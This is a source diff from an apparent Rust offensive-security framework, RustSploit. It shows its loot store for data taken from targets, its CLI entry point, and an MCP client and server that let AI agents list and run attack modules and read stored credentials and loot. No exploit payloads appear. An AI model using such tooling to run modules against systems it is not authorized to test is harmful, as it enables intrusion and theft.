eprintln!(
"[!] Loot store full ({} entries) — discarding just-written loot file",
Self::MAX_LOOT_ENTRIES
);
if let Err(e) = tokio::fs::remove_file(&file_path).await {
tracing::debug!("failed to remove orphan loot file {}: {e}", file_path.display());
}
return None;
}
entries.push(entry);
let snapshot = entries.clone();
self.save_locked(&snapshot).await;
}
Some(id)
}
/// Add loot from a string (convenience).
pub async fn add_text(
&self,
host: &str,
loot_type: &str,
description: &str,
text: &str,
source_module: &str,
) -> Option<String> {
self.add(host, loot_type, description, text.as_bytes(), source_module).await
}
/// List all loot entries.
pub async fn list(&self) -> Vec<LootEntry> {
self.entries.read().await.clone()
}
/// Search loot by host or type.
pub async fn search(&self, query: &str) -> Vec<LootEntry> {
let q = query.to_lowercase();
self.list().await.into_iter().filter(|e| {
e.host.to_lowercase().contains(&q)
|| e.loot_type.to_lowercase().contains(&q)
|| e.description.to_lowercase().contains(&q)
}).collect()
}
/// Delete a loot entry by ID. Also removes the loot file from disk.
/// File removal happens BEFORE the index is rewritten, so that a failed
/// `unlink` (EACCES, EBUSY, etc.) does not orphan the file on disk while
/// the index forgets about it.
pub async fn delete(&self, id: &str) -> bool {
// Look up the filename without mutating the index yet.
let filename = {
let entries = self.entries.read().await;
entries.iter().find(|e| e.id == id).map(|e| e.filename.clone())
};
let Some(fname) = filename else {
return false;
};
// Try to remove the file first. ENOENT is fine — the index will be
// cleaned up either way. Any other error aborts the delete so the
// caller can see the entry is still present and retry.
if let Some(path) = self.file_path(&fname) {
match tokio::fs::remove_file(&path).await {
Ok(_) => {}
Err(e) if e.kind() == std::io::ErrorKind::NotFound => {
tracing::debug!(path = %path.display(), "loot file already gone, removing index entry");
}
Err(e) => {
eprintln!("[!] Failed to remove loot file {}: {} — index entry preserved", path.display(), e);
return false;
}
}
}
// File is gone (or the path was malformed) — now drop the index entry.
// P1-1: lock-during-save so the index file stays consistent with
// the in-memory entries under concurrent ops.
let mut entries = self.entries.write().await;
let before = entries.len();
entries.retain(|e| e.id != id);
if entries.len() == before {
return false;
}
let snapshot = entries.clone();
self.save_locked(&snapshot).await;
true
}
/// Clear all loot entries and remove loot files from disk.
pub async fn clear(&self) {
let filenames: Vec<String> = {
let mut entries = self.entries.write().await;
let names: Vec<String> = entries.iter().map(|e| e.filename.clone()).collect();
entries.clear();
self.save_locked(&entries).await;
names
};
for fname in filenames {
if let Some(path) = self.file_path(&fname)
&& let Err(e) = tokio::fs::remove_file(&path).await {
eprintln!("[!] Failed to remove loot file {}: {}", path.display(), e);
}
}
}
/// Get the full path to a loot file.
/// Returns None if the filename contains path separators or traversal.
pub fn file_path(&self, filename: &str) -> Option<PathBuf> {
if filename.contains('/') || filename.contains('\\') || filename.contains("..") || filename.contains('\0') {
return None;
}
let path = self.loot_dir.join(filename);
if !path.starts_with(&self.loot_dir) {
return None;
}
Some(path)
}
/// Get the loot directory path.
pub fn loot_directory(&self) -> &PathBuf {
&self.loot_dir
}
async fn save_locked(&self, entries: &[LootEntry]) {
let tmp = self.index_path.with_extension("json.tmp");
let json = match serde_json::to_string_pretty(entries) {
Ok(j) => j,
Err(e) => {
eprintln!("[!] Failed to serialize loot index: {}", e);
return;
}
};
// P1-7: O_NOFOLLOW + create-with-mode atomically.
let mut opts = tokio::fs::OpenOptions::new();
opts.write(true).create(true).truncate(true).mode(0o600);
#[cfg(unix)]
{
opts.custom_flags(libc::O_NOFOLLOW);
}
let file = match opts.open(&tmp).await {
Ok(f) => f,
Err(e) => {
eprintln!("[!] Failed to write loot index: {}", e);
return;
}
};
let mut file = file;
if let Err(e) = tokio::io::AsyncWriteExt::write_all(&mut file, json.as_bytes()).await {
eprintln!("[!] Failed to write loot index data: {}", e);
return;
}
if let Err(e) = tokio::fs::rename(&tmp, &self.index_path).await {
eprintln!("[!] Failed to rename loot index: {}", e);
}
}
/// Display loot table.
pub async fn display(&self) {
let entries = self.list().await;
if entries.is_empty() {
println!("{}", "No loot stored.".dimmed());
return;
}
println!();
println!("{}", format!("Loot ({} items):", entries.len()).bold().underline());
println!();
println!(" {:<10} {:<18} {:<15} {:<30} {}",
"ID".bold(), "Host".bold(), "Type".bold(), "Description".bold(), "Module".bold());
println!(" {}", "-".repeat(90).dimmed());
for e in &entries {
let desc = if e.description.chars().count() > 28 {
format!("{}...", e.description.chars().take(25).collect::<String>())
} else {
e.description.clone()
};
println!(" {:<10} {:<18} {:<15} {:<30} {}",
e.id.yellow(), e.host.green(), e.loot_type, desc, e.source_module);
}
println!();
}
}
pub static LOOT_STORE: Lazy<LootStore> = Lazy::new(LootStore::new);
/// Convenience function for modules to store loot.
/// Routes through the tenant registry when in a tenant context (API mode).
/// Also emits a `ModuleEvent::LootStored` and a `Finding` so panel / MCP /
/// WS subscribers see the discovery without each module having to call
/// `events::emit` manually.
pub async fn store_loot(
host: &str,
loot_type: &str,
description: &str,
data: &[u8],
source_module: &str,
) -> Option<String> {
let s = crate::tenant::resolve();
let id = s.loot_store().add(host, loot_type, description, data, source_module).await;
if let Some(id_str) = id.as_deref() {
crate::events::emit(crate::events::ModuleEvent::LootStored {
id: id_str.to_string(),
host: host.to_string(),
kind: loot_type.to_string(),
});
}
if id.is_some() {
crate::events::emit(crate::events::ModuleEvent::Finding {
module: source_module.to_string(),
target: host.to_string(),
kind: loot_type.to_string(),
message: description.to_string(),
});
}
id
}
+236 -8
View File
@@ -1,24 +1,252 @@
use anyhow::Result;
use clap::Parser;
use std::net::SocketAddr;
use std::process;
use anyhow::{anyhow, Context, Result};
use clap::Parser;
use colored::*;
use tracing_subscriber::EnvFilter;
mod api;
mod cli;
mod shell;
mod commands;
mod config;
mod context;
mod modules;
mod native;
mod shell;
mod tommy;
mod utils;
pub mod checkpoint;
pub mod cred_store;
pub mod events;
pub mod exclusions;
pub mod tenant;
pub mod export;
pub mod global_options;
pub mod jobs;
pub mod loot;
pub mod mcp;
pub mod module;
pub mod module_info;
pub mod output;
pub mod pq_channel;
pub mod pq_middleware;
pub mod prescan;
pub mod rate_limit;
pub mod scheduler;
pub mod spool;
pub mod results_sink;
pub mod workspace;
pub mod ws;
/// Maximum length for interface/bind address
const MAX_BIND_ADDRESS_LENGTH: usize = 128;
/// Validates the bind address format
fn validate_bind_address(addr: &str) -> Result<String> {
let trimmed = addr.trim();
if trimmed.is_empty() {
return Err(anyhow!("Bind address cannot be empty"));
}
if trimmed.len() > MAX_BIND_ADDRESS_LENGTH {
return Err(anyhow!("Bind address too long (max {} characters)", MAX_BIND_ADDRESS_LENGTH));
}
if trimmed.chars().any(|c| c.is_control()) {
return Err(anyhow!("Bind address cannot contain control characters"));
}
let with_port = if trimmed.contains(':') {
trimmed.to_string()
} else {
format!("{}:8080", trimmed)
};
with_port
.parse::<SocketAddr>()
.with_context(|| format!("Invalid bind address '{}'", with_port))?;
Ok(with_port)
}
/// Returns the path to the PQ host key file.
fn pq_host_key_path(custom: Option<&str>) -> std::path::PathBuf {
if let Some(p) = custom {
std::path::PathBuf::from(p)
} else {
// Refuse to fall back to CWD for security-sensitive key material —
// CWD may be world-readable or an attacker-controlled directory.
let home = home::home_dir().unwrap_or_else(|| {
eprintln!("[!] $HOME not set — PQ host key will use /tmp/.rustsploit (insecure fallback)");
std::path::PathBuf::from("/tmp")
});
home.join(".rustsploit").join("pq_host_key")
}
}
/// Returns the path to the PQ authorized keys file.
fn pq_authorized_keys_path(custom: Option<&str>) -> std::path::PathBuf {
if let Some(p) = custom {
std::path::PathBuf::from(p)
} else {
let home = home::home_dir().unwrap_or_else(|| {
eprintln!("[!] $HOME not set — PQ authorized keys will use /tmp/.rustsploit (insecure fallback)");
std::path::PathBuf::from("/tmp")
});
home.join(".rustsploit").join("pq_authorized_keys")
}
}
#[tokio::main]
async fn main() -> Result<()> {
// Parse command-line arguments
async fn main() {
if let Err(e) = run().await {
eprintln!("{} {}", "".red(), e);
process::exit(1);
}
}
async fn run() -> Result<()> {
// Initialize structured logging
let filter = if std::env::var("RUST_LOG").is_ok() {
EnvFilter::from_default_env()
} else {
EnvFilter::new("warn")
};
tracing_subscriber::fmt()
.with_env_filter(filter)
.with_target(false)
.init();
let cli_args = cli::Cli::parse();
// If user provided subcommands (e.g., "exploit", "scan", etc.) from CLI, handle them directly:
tracing::debug!("CLI arguments parsed successfully");
// P0-2: propagate the strict-TLS flag to the framework's HTTP-client
// builder so `permissive()` callers automatically pick up the operator's
// policy. Modules that *legitimately* need to talk to self-signed
// devices still opt in explicitly via `HttpClientOpts {
// accept_invalid_certs: true, .. }`. P1-9: same plumbing for the
// proxy-trust flag used by the handshake rate limiter.
utils::network::set_global_strict_tls(cli_args.strict_tls);
utils::network::set_global_trust_proxy(cli_args.trust_proxy);
if !cli_args.strict_tls {
tracing::warn!(
"TLS verification permissive by default for HTTPS exploit modules. \
Pass --strict-tls to flip the default to strict."
);
}
// Handle list_modules flag
if cli_args.list_modules {
tracing::debug!("Listing all modules...");
utils::list_all_modules();
return Ok(());
}
// Regenerate docs/Module-Catalog.md from the live registry
if cli_args.gen_module_catalog {
let md = module::render_catalog_markdown();
let out = std::path::Path::new("docs/Module-Catalog.md");
tokio::fs::write(out, md).await.context("Failed to write docs/Module-Catalog.md")?;
println!("{} Wrote {} ({} modules)",
"".green(), out.display(), module::count());
return Ok(());
}
// List on-disk scan checkpoints
if cli_args.list_checkpoints {
match checkpoint::list_checkpoints() {
Ok(list) if list.is_empty() => {
println!("No checkpoints found.");
}
Ok(list) => {
println!("Active checkpoints (resume by re-running the same module + target):\n");
for cp in list {
println!(" {}", cp);
}
}
Err(e) => {
return Err(anyhow!("Failed to enumerate checkpoints: {e:#}"));
}
}
return Ok(());
}
// API server mode — PQ-encrypted, no TLS, no API keys
if cli_args.api {
let host_key_path = pq_host_key_path(cli_args.pq_host_key.as_deref());
let auth_keys_path = pq_authorized_keys_path(cli_args.pq_authorized_keys.as_deref());
let interface = cli_args.interface.clone().unwrap_or_else(|| "127.0.0.1".to_string());
let bind_address = validate_bind_address(&interface).context("Invalid bind address")?;
tracing::debug!("Starting PQ-encrypted API server on {}...", bind_address);
api::start_api_server(
&bind_address,
cli_args.verbose,
&host_key_path,
&auth_keys_path,
cli_args.pq_key_passphrase.as_deref(),
)
.await?;
return Ok(());
}
// MCP server mode
if cli_args.mcp {
tracing::debug!("Starting MCP server on stdio...");
mcp::run_mcp_server().await?;
return Ok(());
}
// Validate target if provided
if let Some(ref target) = cli_args.target
&& let Err(e) = utils::normalize_target(target) {
return Err(anyhow!("Invalid target '{}': {}", target, e));
}
// Set global target if provided
if let Some(ref target) = cli_args.set_target {
tracing::debug!("Setting global target to: {}", target);
config::GLOBAL_CONFIG.set_target(target)?;
println!("{} Global target set to: {}", "".green(), target);
}
// Handle subcommands from CLI
if let Some(cmd) = &cli_args.command {
tracing::debug!("Executing subcommand: {}", cmd);
commands::handle_command(cmd, &cli_args).await?;
}
// Otherwise, launch the interactive shell
// Run module directly if both -m and -t are provided
else if let Some(ref module) = cli_args.module {
if let Some(ref target) = cli_args.target {
tracing::debug!("Running module '{}' against '{}'", module, target);
commands::run_module(module, target, cli_args.verbose).await?;
} else if config::GLOBAL_CONFIG.has_target() {
let target = config::GLOBAL_CONFIG.get_target().unwrap_or_default();
tracing::debug!("Running module '{}' against global target '{}'", module, target);
commands::run_module(module, &target, cli_args.verbose).await?;
} else {
eprintln!("{}", "⚠ Warning: --module specified without --target. Launching shell...".yellow());
tracing::debug!("Launching interactive shell...");
if let Some(ref rc) = cli_args.resource {
shell::interactive_shell_with_resource(cli_args.verbose, Some(rc)).await?;
} else {
shell::interactive_shell(cli_args.verbose).await?;
}
}
}
// Launch interactive shell
else {
shell::interactive_shell().await?;
tracing::debug!("Launching interactive shell...");
if let Some(ref rc) = cli_args.resource {
shell::interactive_shell_with_resource(cli_args.verbose, Some(rc)).await?;
} else {
shell::interactive_shell(cli_args.verbose).await?;
}
}
Ok(())
+232
View File
@@ -0,0 +1,232 @@
use std::process::Stdio;
use anyhow::{Context, Result};
use serde_json::{json, Value};
use tokio::io::{AsyncBufReadExt, AsyncReadExt, AsyncWriteExt, BufReader};
use tokio::process::{Child, ChildStdin, ChildStdout, Command};
/// MCP client that communicates with an external MCP server over stdio JSON-RPC.
pub struct McpClient {
child: Child,
stdin: ChildStdin,
stdout: BufReader<ChildStdout>,
next_id: u64,
}
impl McpClient {
/// Spawn an MCP server subprocess and prepare for JSON-RPC communication.
pub async fn connect(command: &str, args: &[&str]) -> Result<Self> {
let mut child = Command::new(command)
.args(args)
.stdin(Stdio::piped())
.stdout(Stdio::piped())
.stderr(Stdio::inherit())
.spawn()
.with_context(|| format!("Failed to spawn MCP server: {} {:?}", command, args))?;
let stdin = child
.stdin
.take()
.context("Failed to capture child stdin")?;
let stdout_raw = child
.stdout
.take()
.context("Failed to capture child stdout")?;
let stdout = BufReader::new(stdout_raw);
Ok(Self {
child,
stdin,
stdout,
next_id: 1,
})
}
/// Send the `initialize` handshake and return the server capabilities.
pub async fn initialize(&mut self) -> Result<Value> {
let id = self.next_id();
send_request(
&mut self.stdin,
&mut self.stdout,
id,
"initialize",
Some(json!({
"protocolVersion": "2024-11-05",
"capabilities": {},
"clientInfo": {
"name": "rustsploit-mcp-client",
"version": env!("CARGO_PKG_VERSION")
}
})),
)
.await
}
/// List all tools offered by the remote server.
pub async fn list_tools(&mut self) -> Result<Vec<Value>> {
let id = self.next_id();
let result = send_request(&mut self.stdin, &mut self.stdout, id, "tools/list", None).await?;
let tools = result
.get("tools")
.and_then(|v| v.as_array())
.cloned()
.unwrap_or_default();
Ok(tools)
}
/// Call a tool on the remote server (30s timeout).
pub async fn call_tool(&mut self, name: &str, args: Value) -> Result<Value> {
let id = self.next_id();
tokio::time::timeout(
std::time::Duration::from_secs(30),
send_request(
&mut self.stdin,
&mut self.stdout,
id,
"tools/call",
Some(json!({
"name": name,
"arguments": args
})),
),
)
.await
.context("MCP tool call timed out after 30s")?
}
/// List all resources offered by the remote server.
pub async fn list_resources(&mut self) -> Result<Vec<Value>> {
let id = self.next_id();
let result =
send_request(&mut self.stdin, &mut self.stdout, id, "resources/list", None).await?;
let resources = result
.get("resources")
.and_then(|v| v.as_array())
.cloned()
.unwrap_or_default();
Ok(resources)
}
/// Read a resource by URI from the remote server.
pub async fn read_resource(&mut self, uri: &str) -> Result<Value> {
let id = self.next_id();
send_request(
&mut self.stdin,
&mut self.stdout,
id,
"resources/read",
Some(json!({ "uri": uri })),
)
.await
}
/// Shut down the MCP server subprocess gracefully.
pub async fn close(mut self) -> Result<()> {
drop(self.stdin);
match tokio::time::timeout(std::time::Duration::from_secs(5), self.child.wait()).await {
Ok(Ok(status)) => { tracing::trace!("MCP server exited: {status}"); return Ok(()); }
Ok(Err(e)) => {
eprintln!("[!] MCP server wait error: {}", e);
}
Err(e) => {
eprintln!("[!] MCP server did not exit within 5s ({e}), killing");
}
}
if let Err(e) = self.child.kill().await {
eprintln!("[!] Failed to kill MCP server: {}", e);
}
Ok(())
}
fn next_id(&mut self) -> u64 {
let id = self.next_id;
self.next_id += 1;
id
}
}
/// Send a JSON-RPC 2.0 request and read the response.
async fn send_request(
stdin: &mut ChildStdin,
stdout: &mut BufReader<ChildStdout>,
id: u64,
method: &str,
params: Option<Value>,
) -> Result<Value> {
// Build the JSON-RPC request object
let mut request = json!({
"jsonrpc": "2.0",
"id": id,
"method": method,
});
if let Some(p) = params
&& let Some(obj) = request.as_object_mut() {
obj.insert("params".to_string(), p);
}
// Serialize and send as a single line
let line = serde_json::to_string(&request).context("Failed to serialize JSON-RPC request")?;
stdin
.write_all(line.as_bytes())
.await
.context("Failed to write to child stdin")?;
stdin
.write_all(b"\n")
.await
.context("Failed to write newline")?;
stdin.flush().await.context("Failed to flush child stdin")?;
// Read response lines until we get one with a matching id.
// Servers may emit notifications (no id) interleaved with responses.
// Bounded read: a malicious/buggy MCP server could otherwise stream an
// unterminated multi-GB line and force the client to buffer it all into
// memory (OOM). Cap each line like the server side does, and surface
// non-UTF-8 instead of lossy-decoding it.
const MAX_RESP_BYTES: usize = 16 * 1024 * 1024;
let mut raw: Vec<u8> = Vec::new();
loop {
raw.clear();
let n = (&mut *stdout)
.take(MAX_RESP_BYTES as u64 + 1)
.read_until(b'\n', &mut raw)
.await
.context("Failed to read from child stdout")?;
if n == 0 {
anyhow::bail!("MCP server closed stdout before responding to request {}", id);
}
if raw.len() > MAX_RESP_BYTES {
anyhow::bail!(
"MCP server response exceeded {} byte line limit",
MAX_RESP_BYTES
);
}
let trimmed = match std::str::from_utf8(&raw) {
Ok(s) => s.trim(),
Err(e) => anyhow::bail!("MCP server sent a non-UTF-8 response: {e}"),
};
if trimmed.is_empty() {
continue;
}
let response: Value =
serde_json::from_str(trimmed).context("Failed to parse JSON-RPC response")?;
// Check if this is a response (has "id") matching our request
if let Some(resp_id) = response.get("id")
&& resp_id.as_u64() == Some(id) {
// Check for error
if let Some(error) = response.get("error") {
let msg = error
.get("message")
.and_then(|v| v.as_str())
.unwrap_or("Unknown error");
let code = error.get("code").and_then(|v| v.as_i64()).unwrap_or(-1);
anyhow::bail!("MCP server error (code {}): {}", code, msg);
}
// Return the result field
return Ok(response.get("result").cloned().unwrap_or(Value::Null));
}
// Not our response (notification or different id) -- skip and keep reading
}
}
+7
View File
@@ -0,0 +1,7 @@
pub mod client;
pub mod resources;
pub mod server;
pub mod tools;
pub mod types;
pub use server::run_mcp_server;
+256
View File
@@ -0,0 +1,256 @@
use serde_json::json;
use super::types::{Resource, ResourceContent};
/// Return the list of all resources exposed by this MCP server.
pub fn all_resources() -> Vec<Resource> {
vec![
Resource {
uri: "rustsploit:///modules".into(),
name: "Module Catalog".into(),
description: "Full list of available modules with info() metadata where available".into(),
mime_type: "application/json".into(),
},
Resource {
uri: "rustsploit:///workspace".into(),
name: "Current Workspace".into(),
description: "Current workspace data including tracked hosts and services".into(),
mime_type: "application/json".into(),
},
Resource {
uri: "rustsploit:///credentials".into(),
name: "Credentials".into(),
description: "Credential list with secrets redacted (first 3 chars + ***)".into(),
mime_type: "application/json".into(),
},
Resource {
uri: "rustsploit:///loot".into(),
name: "Loot Catalog".into(),
description: "Loot entry metadata (no file content, just index data)".into(),
mime_type: "application/json".into(),
},
Resource {
uri: "rustsploit:///options".into(),
name: "Global Options".into(),
description: "Persistent global options (setg key-value pairs)".into(),
mime_type: "application/json".into(),
},
Resource {
uri: "rustsploit:///target".into(),
name: "Current Target".into(),
description: "Current global target, size, and subnet status".into(),
mime_type: "application/json".into(),
},
Resource {
uri: "rustsploit:///status".into(),
name: "Framework Status".into(),
description: "Summary: module count, workspace name, host count, credential count, loot count".into(),
mime_type: "application/json".into(),
},
]
}
/// Read a resource by URI.
pub async fn read_resource(uri: &str) -> ResourceContent {
match uri {
"rustsploit:///modules" => read_modules().await,
"rustsploit:///workspace" => read_workspace().await,
"rustsploit:///credentials" => read_credentials().await,
"rustsploit:///loot" => read_loot().await,
"rustsploit:///options" => read_options().await,
"rustsploit:///target" => read_target(),
"rustsploit:///status" => read_status().await,
_ => ResourceContent {
uri: uri.to_string(),
mime_type: "text/plain".into(),
text: format!("Unknown resource: {}", uri),
},
}
}
// ===========================================================================
// Individual resource readers
// ===========================================================================
async fn read_modules() -> ResourceContent {
let modules = crate::commands::discover_modules();
// Build a catalog entry for each module, including info() metadata when available
let catalog: Vec<serde_json::Value> = modules
.iter()
.map(|path| {
let info = crate::commands::module_info(path);
match info {
Some(i) => json!({
"path": path,
"name": i.name,
"description": i.description,
"authors": i.authors,
"references": i.references,
"disclosure_date": i.disclosure_date,
"rank": format!("{}", i.rank),
}),
None => json!({
"path": path,
}),
}
})
.collect();
let text = serde_json::to_string_pretty(&catalog).unwrap_or_else(|e| {
tracing::debug!("JSON serialize modules catalog failed: {e}");
"[]".into()
});
ResourceContent {
uri: "rustsploit:///modules".into(),
mime_type: "application/json".into(),
text,
}
}
async fn read_workspace() -> ResourceContent {
let name = crate::workspace::WORKSPACE.current_name().await;
let data = crate::workspace::WORKSPACE.get_data().await;
let text = serde_json::to_string_pretty(&json!({
"workspace": name,
"hosts": data.hosts,
"services": data.services,
}))
.unwrap_or_else(|e| { tracing::debug!("JSON serialize failed: {e}"); "{}".into() });
ResourceContent {
uri: "rustsploit:///workspace".into(),
mime_type: "application/json".into(),
text,
}
}
async fn read_credentials() -> ResourceContent {
let creds = crate::cred_store::CRED_STORE.list().await;
// Redact secrets: show first 3 characters then ***
let redacted: Vec<serde_json::Value> = creds
.iter()
.map(|c| {
// Take the first 3 chars (not bytes) — slicing at byte 3 in a
// multi-byte UTF-8 secret (emoji, CJK) panics with
// "byte index N is not a char boundary".
let redacted_secret = if c.secret.chars().count() > 3 {
let prefix: String = c.secret.chars().take(3).collect();
format!("{}***", prefix)
} else {
"***".into()
};
json!({
"id": c.id,
"host": c.host,
"port": c.port,
"service": c.service,
"username": c.username,
"secret": redacted_secret,
"cred_type": format!("{}", c.cred_type),
"source_module": c.source_module,
"timestamp": c.timestamp,
"valid": c.valid,
})
})
.collect();
let text = serde_json::to_string_pretty(&redacted).unwrap_or_else(|e| { tracing::debug!("JSON serialize failed: {e}"); "[]".into() });
ResourceContent {
uri: "rustsploit:///credentials".into(),
mime_type: "application/json".into(),
text,
}
}
async fn read_loot() -> ResourceContent {
let loot = crate::loot::LOOT_STORE.list().await;
// Return metadata only (no file content)
let entries: Vec<serde_json::Value> = loot
.iter()
.map(|l| {
json!({
"id": l.id,
"host": l.host,
"loot_type": l.loot_type,
"filename": l.filename,
"description": l.description,
"source_module": l.source_module,
"timestamp": l.timestamp,
})
})
.collect();
let text = serde_json::to_string_pretty(&entries).unwrap_or_else(|e| { tracing::debug!("JSON serialize failed: {e}"); "[]".into() });
ResourceContent {
uri: "rustsploit:///loot".into(),
mime_type: "application/json".into(),
text,
}
}
async fn read_options() -> ResourceContent {
let opts = crate::global_options::GLOBAL_OPTIONS.all().await;
let text = serde_json::to_string_pretty(&opts).unwrap_or_else(|e| { tracing::debug!("JSON serialize failed: {e}"); "{}".into() });
ResourceContent {
uri: "rustsploit:///options".into(),
mime_type: "application/json".into(),
text,
}
}
fn read_target() -> ResourceContent {
let target = crate::config::GLOBAL_CONFIG.get_target();
let size = crate::config::GLOBAL_CONFIG.get_target_size();
let is_subnet = crate::config::GLOBAL_CONFIG.is_subnet();
let text = serde_json::to_string_pretty(&json!({
"target": target,
"size": size,
"is_subnet": is_subnet,
}))
.unwrap_or_else(|e| { tracing::debug!("JSON serialize failed: {e}"); "{}".into() });
ResourceContent {
uri: "rustsploit:///target".into(),
mime_type: "application/json".into(),
text,
}
}
async fn read_status() -> ResourceContent {
// Use get_data() for a single lock acquisition instead of separate hosts()/services() calls
let workspace_name = crate::workspace::WORKSPACE.current_name().await;
let ws_data = crate::workspace::WORKSPACE.get_data().await;
let cred_count = crate::cred_store::CRED_STORE.list().await.len();
let loot_count = crate::loot::LOOT_STORE.list().await.len();
let module_count = crate::commands::discover_modules().len();
let target = crate::config::GLOBAL_CONFIG.get_target();
let job_count = crate::jobs::JOB_MANAGER.list().len();
let text = serde_json::to_string_pretty(&json!({
"module_count": module_count,
"workspace": workspace_name,
"host_count": ws_data.hosts.len(),
"service_count": ws_data.services.len(),
"credential_count": cred_count,
"loot_count": loot_count,
"active_jobs": job_count,
"target": target,
}))
.unwrap_or_else(|e| { tracing::debug!("JSON serialize failed: {e}"); "{}".into() });
ResourceContent {
uri: "rustsploit:///status".into(),
mime_type: "application/json".into(),
text,
}
}
+288
View File
@@ -0,0 +1,288 @@
use std::sync::Arc;
use anyhow::Context;
use serde_json::{Map, Value};
use rmcp::{
ErrorData as McpError, ServerHandler, serve_server,
model::{
AnnotateAble, CallToolRequestParams, CallToolResult, Content, Implementation,
InitializeResult, ListResourcesResult, ListToolsResult, PaginatedRequestParams, RawResource,
ReadResourceRequestParams, ReadResourceResult, Resource, ResourceContents,
ServerCapabilities, ServerInfo, Tool,
},
service::{RequestContext, RoleServer},
};
/// Read the libc errno value for the current thread, in a portable way.
fn errno() -> i32 {
// SAFETY: `__errno_location` / `__error` return a valid pointer to a
// thread-local int that remains valid for the duration of the thread; a
// single `*ptr` read of a primitive `c_int` cannot violate any invariant.
#[cfg(any(target_os = "freebsd", target_os = "macos"))]
unsafe { *libc::__error() }
#[cfg(target_os = "linux")]
// SAFETY: see comment above; `__errno_location` mirrors the BSD `__error`.
unsafe { *libc::__errno_location() }
// Fallback for other Unixes: errno isn't reliably accessible without a
// platform-specific symbol, so callers will see `0`.
#[cfg(not(any(target_os = "freebsd", target_os = "macos", target_os = "linux")))]
{ 0 }
}
/// Save the original stdout (fd 1) into a new fd, then redirect fd 1 to
/// `/dev/null`. The returned tokio file is the *only* remaining handle to the
/// original stdout — used by the MCP server to emit JSON-RPC responses on a
/// channel that user-mode `println!` calls can no longer corrupt.
fn isolate_protocol_stdout() -> anyhow::Result<tokio::fs::File> {
use std::os::fd::FromRawFd;
// SAFETY: `dup(1)` is a no-arg syscall that returns either a fresh valid
// fd or -1. We immediately check the return value before doing anything
// that depends on its validity.
let saved_fd = unsafe { libc::dup(1) };
if saved_fd < 0 {
anyhow::bail!("dup(1) failed: errno {}", errno());
}
let null_path = b"/dev/null\0";
// SAFETY: `null_path` is a NUL-terminated, statically-allocated byte
// string with a pointer valid for the duration of the call; `O_WRONLY` is
// a libc-defined constant. `open` returns -1 on failure, checked below.
let null_fd = unsafe {
libc::open(null_path.as_ptr() as *const libc::c_char, libc::O_WRONLY)
};
if null_fd < 0 {
// SAFETY: `saved_fd` is a valid open fd we just received from `dup`.
unsafe { libc::close(saved_fd); }
anyhow::bail!("open(/dev/null) failed: errno {}", errno());
}
// SAFETY: `null_fd` and `1` are both valid open fds (1 is stdout; the
// dup above proved it is open and non-error). `dup2` either succeeds and
// installs `null_fd` as fd 1, or returns -1.
let dup2_ret = unsafe { libc::dup2(null_fd, 1) };
if dup2_ret < 0 {
// SAFETY: both fds are valid open descriptors at this point.
unsafe {
libc::close(null_fd);
libc::close(saved_fd);
}
anyhow::bail!("dup2(null, 1) failed: errno {}", errno());
}
// SAFETY: `null_fd` is a valid open fd; closing the source after a
// successful `dup2` is the standard idiom — fd 1 keeps the kernel-side
// open file description alive.
unsafe { libc::close(null_fd); }
// SAFETY: `saved_fd` is owned by us (returned by `dup`, never close()d
// here, never given to anyone else); transferring it into a `File` makes
// that file the sole owner so the eventual Drop closes it exactly once.
let std_file = unsafe { std::fs::File::from_raw_fd(saved_fd) };
Ok(tokio::fs::File::from_std(std_file))
}
/// Per-tool-call execution budget. A single hung/slow tool must not be able to
/// wedge the server forever, so `tools/call` dispatch is bounded by this
/// timeout and returns a JSON-RPC error on expiry. Override via the
/// `RUSTSPLOIT_MCP_TIMEOUT_SECS` env var (0 disables the cap).
fn module_timeout() -> Option<std::time::Duration> {
match std::env::var("RUSTSPLOIT_MCP_TIMEOUT_SECS") {
Ok(v) => match v.trim().parse::<u64>() {
Ok(0) => None,
Ok(secs) => Some(std::time::Duration::from_secs(secs)),
// Unparseable override falls back to the default rather than panicking.
Err(e) => {
tracing::debug!("RUSTSPLOIT_MCP_TIMEOUT_SECS is not a valid u64, using 300s default: {e}");
Some(std::time::Duration::from_secs(300))
}
},
// The variable is normally unset (use the default); a NotUnicode read
// error is the only surprising case, so trace it rather than drop it.
Err(e) => {
tracing::trace!("RUSTSPLOIT_MCP_TIMEOUT_SECS unreadable ({e}); using 300s default");
Some(std::time::Duration::from_secs(300))
}
}
}
/// Run the MCP server over the official `rmcp` SDK on a stdio transport.
///
/// The protocol channel (JSON-RPC over the original stdout) is isolated from
/// fd 1 first, so stray `println!` from library code cannot corrupt the stream;
/// fd 1 is redirected to `/dev/null` and the saved descriptor becomes the
/// transport's writer. Module output is captured through `OUTPUT_BUFFER`.
pub async fn run_mcp_server() -> anyhow::Result<()> {
let protocol_out = isolate_protocol_stdout()
.context("Cannot isolate protocol stdout — aborting to prevent JSON-RPC corruption")?;
eprintln!("[MCP] RustSploit MCP server started (rmcp SDK, stdio transport)");
eprintln!("[MCP] Protocol stdout isolated — module output is captured via OUTPUT_BUFFER only");
// `(reader, writer)` is an rmcp async-RW transport. stdin is the request
// stream; the saved real-stdout file is the response sink.
let transport = (tokio::io::stdin(), protocol_out);
let service = serve_server(RustsploitHandler, transport)
.await
.context("MCP server initialization (initialize handshake) failed")?;
// Block until the client disconnects (stdin EOF) or the connection ends.
let quit_reason = service
.waiting()
.await
.context("MCP server task failed to join cleanly")?;
eprintln!("[MCP] server stopped: {quit_reason:?}");
Ok(())
}
// ---------------------------------------------------------------------------
// Handler — adapts the existing tool/resource registry to rmcp's traits.
// ---------------------------------------------------------------------------
/// Stateless MCP handler. All state lives behind the per-tenant stores reached
/// inside `tools::call_tool` / `resources::read_resource`, so this is a unit.
#[derive(Clone)]
struct RustsploitHandler;
impl ServerHandler for RustsploitHandler {
fn get_info(&self) -> ServerInfo {
let capabilities = ServerCapabilities::builder()
.enable_tools()
.enable_resources()
.build();
InitializeResult::new(capabilities)
.with_server_info(Implementation::new(
"rustsploit-mcp",
env!("CARGO_PKG_VERSION"),
))
.with_instructions(
"RustSploit offensive-security framework over MCP. Discover modules with \
`list_modules` / `search_modules` / `module_info`, set a scope with \
`set_target`, then execute with `run_module` (set `background: true` for \
long-running scans and poll `list_jobs`). Live engagement state is exposed \
as resources under the `rustsploit:///` URI scheme.",
)
}
async fn list_tools(
&self,
_request: Option<PaginatedRequestParams>,
_context: RequestContext<RoleServer>,
) -> Result<ListToolsResult, McpError> {
let tools = super::tools::all_tools()
.into_iter()
.map(to_rmcp_tool)
.collect();
Ok(ListToolsResult::with_all_items(tools))
}
async fn call_tool(
&self,
request: CallToolRequestParams,
_context: RequestContext<RoleServer>,
